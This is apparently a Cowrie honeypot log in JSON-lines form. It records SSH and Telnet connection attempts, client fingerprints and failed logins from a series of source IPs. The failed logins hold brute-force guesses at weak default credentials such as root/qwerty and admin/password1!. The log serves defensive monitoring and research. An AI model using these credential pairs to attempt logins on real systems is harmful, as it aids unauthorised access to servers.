{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:51:57.733946Z","src_ip":"123.60.136.40","session":"fec740304c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":51833,"dst_ip":"10.17.0.5","dst_port":23,"session":"30f8d0de059a","protocol":"telnet","message":"New connection: 49.88.156.34:51833 (10.17.0.5:23) [session: 30f8d0de059a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:03.924468Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43410,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cedf30c164","protocol":"ssh","message":"New connection: 122.168.114.167:43410 (159.203.135.109:22) [session: d6cedf30c164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:09.385702Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":49290,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ea808685be4","protocol":"ssh","message":"New connection: 106.75.222.164:49290 (10.17.0.5:22) [session: 8ea808685be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.025051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.029592Z","src_ip":"106.75.222.164","session":"8ea808685be4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.040762Z","src_ip":"122.168.114.167","session":"d6cedf30c164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.044069Z","src_ip":"122.168.114.167","session":"d6cedf30c164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.285818Z","src_ip":"106.75.222.164","session":"8ea808685be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":34140,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6bfdc0b6fed","protocol":"ssh","message":"New connection: 103.97.179.160:34140 (10.17.0.5:22) [session: e6bfdc0b6fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.845143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:12.850113Z","src_ip":"103.97.179.160","session":"e6bfdc0b6fed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:13.087227Z","src_ip":"103.97.179.160","session":"e6bfdc0b6fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome","message":"login attempt [ubuntu/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:13.939331Z","src_ip":"103.97.179.160","session":"e6bfdc0b6fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1!","message":"login attempt [admin/password1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:13.977979Z","src_ip":"106.75.222.164","session":"8ea808685be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:15.148961Z","src_ip":"103.97.179.160","session":"e6bfdc0b6fed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:24.761089Z","src_ip":"122.168.114.167","session":"d6cedf30c164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.2","message":"Connection lost after 20.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:29.545006Z","src_ip":"122.168.114.167","session":"d6cedf30c164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0018b59aa5cc","protocol":"ssh","message":"New connection: 122.168.114.167:45812 (159.203.135.109:22) [session: 0018b59aa5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:47.664126Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:48.879755Z","src_ip":"14.103.114.172","session":"d3d1fbf879f1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:50.640826Z","src_ip":"122.168.114.167","session":"0018b59aa5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:50.645622Z","src_ip":"122.168.114.167","session":"0018b59aa5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":33066,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d044f9958f","protocol":"ssh","message":"New connection: 148.230.169.229:33066 (10.17.0.5:22) [session: 78d044f9958f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:51.093808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:51.098246Z","src_ip":"148.230.169.229","session":"78d044f9958f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:51.164100Z","src_ip":"148.230.169.229","session":"78d044f9958f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"010203","message":"login attempt [test/010203] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:51.455946Z","src_ip":"148.230.169.229","session":"78d044f9958f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:52.525800Z","src_ip":"148.230.169.229","session":"78d044f9958f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.06422448158264,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:57.988558Z","src_ip":"49.88.156.34","session":"30f8d0de059a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":39528,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b7873df724","protocol":"ssh","message":"New connection: 193.24.211.95:39528 (159.203.135.109:22) [session: 56b7873df724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:59.583769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:59.588070Z","src_ip":"193.24.211.95","session":"56b7873df724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:52:59.712055Z","src_ip":"193.24.211.95","session":"56b7873df724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"public","message":"login attempt [test/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:00.242213Z","src_ip":"193.24.211.95","session":"56b7873df724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:01.352873Z","src_ip":"193.24.211.95","session":"56b7873df724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:05.397555Z","src_ip":"122.168.114.167","session":"0018b59aa5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":49782,"dst_ip":"10.17.0.5","dst_port":22,"session":"13cb4e320272","protocol":"ssh","message":"New connection: 103.97.179.160:49782 (10.17.0.5:22) [session: 13cb4e320272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:05.674268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:05.679104Z","src_ip":"103.97.179.160","session":"13cb4e320272","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:06.704455Z","src_ip":"103.97.179.160","session":"13cb4e320272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"test123","message":"login attempt [ansible/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:07.312320Z","src_ip":"103.97.179.160","session":"13cb4e320272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:08.518189Z","src_ip":"103.97.179.160","session":"13cb4e320272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.3","message":"Connection lost after 22.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:09.926721Z","src_ip":"122.168.114.167","session":"0018b59aa5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":48220,"dst_ip":"159.203.135.109","dst_port":22,"session":"6284773913dd","protocol":"ssh","message":"New connection: 122.168.114.167:48220 (159.203.135.109:22) [session: 6284773913dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:26.495813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:29.658710Z","src_ip":"122.168.114.167","session":"6284773913dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:29.677900Z","src_ip":"122.168.114.167","session":"6284773913dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:45.690912Z","src_ip":"122.168.114.167","session":"6284773913dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.2","message":"Connection lost after 24.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:53:50.722764Z","src_ip":"122.168.114.167","session":"6284773913dd","protocol":"ssh"}
